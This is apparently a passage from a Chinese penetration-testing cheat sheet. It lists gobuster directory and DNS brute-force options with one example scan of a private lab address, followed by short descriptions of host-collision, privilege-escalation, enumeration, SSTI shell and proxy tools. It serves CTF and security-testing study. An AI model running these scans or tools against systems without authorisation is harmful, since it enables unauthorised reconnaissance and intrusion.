1 2 3 4 5 6 7 8 -fw - 使用通配符结果强制处理域。 -np - 隐藏进度输出。 -m <mode>- 使用哪种模式,dir或者dns(默认:) dir。 -q - 禁用横幅/下划线输出。 -t <threads>- 要运行的线程数(默认值:) 10。 -u <url/domain> - 完整URL(包括方案)或基本域名。 -v - 详细输出(显示所有结果)。 -w <wordlist>- 用于暴力强制的wordlist的路径(-用于stdin)。
dns
模式的命令行选项
1 2 -cn - 显示CNAME记录(不能与'-i' 选项一起使用)。 -i - 显示结果的所有IP 地址。
dir
模式的命令行选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -a <user agent string> - 指定要在请求标头中发送的用户代理字符串。 -c <http cookies> - 使用它来指定您可能需要的任何cookie(模拟身份验证)。 -e - 指定呈现完整URL的扩展模式。 -f- 附加/目录暴力。 -k - 跳过SSL证书的验证。 -l - 显示响应的长度。 -n - “无状态”模式,禁用结果状态代码的输出。 -o <file> - 指定要将输出写入的文件名。 -p <proxy url> - 指定用于所有请求的代理(方案与URL方案非常匹配)。 -r - 按照重定向。 -s <status codes>- 逗号分隔的状态代码列表集合被视为“正面”(默认值:) 200,204,301,302,307。 -x <extensions> - 要检查的扩展名列表(如果有)。 -P <password> - HTTP授权密码(仅限基本身份验证,如果缺少则提示)。 -U <username> - HTTP授权用户名(仅限基本身份验证)。 -to <timeout> - HTTP超时。示例:10s,100ms,1m(默认值:10s)。
示例
1 gobuster dir -u https:// 10.35 .0.106 /chatbot/ -w /usr/ share/seclists/ Discovery/Web-Content/ directory-list-2.3 -medium.txt -x php,html,txt -k
魔术hash 常用hash文件
hashes
HOST碰撞工具 介绍
1 很多时候,访问目标网站时,使用其真实IP 无法访问,只有域名才能访问到后端业务服务。这是因为反代服务器(如nginx)配置了禁止直接IP 访问。
跨平台自动化Host碰撞扫描工具
1 https://gi thub.com/cckuailong/ hostscan
Python版本
1 https://gi thub.com/fofapro/ Hosts_scan
Linux Exploit Suggester 2 功能:提权工具
项目地址:GitHub
linux-smart-enumeration 功能:用于渗透测试和 CTF 的 Linux 枚举工具
项目地址:GitHub
Magic hashes 功能:魔术hash总结整理
GitHub
PEASS-ng 功能:提权工具,全版本提权
项目地址:GitHub
Pspy64s linux进程监听工具
Github
Psexec 功能:PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
Stegseek GitHub
Tqlmap 功能:SSTI注入工具,拿shell、执行命令、bind_shell、反弹shell、上传下载文件
Github
Venom 功能:代理转发
项目地址:GitHub
参考链接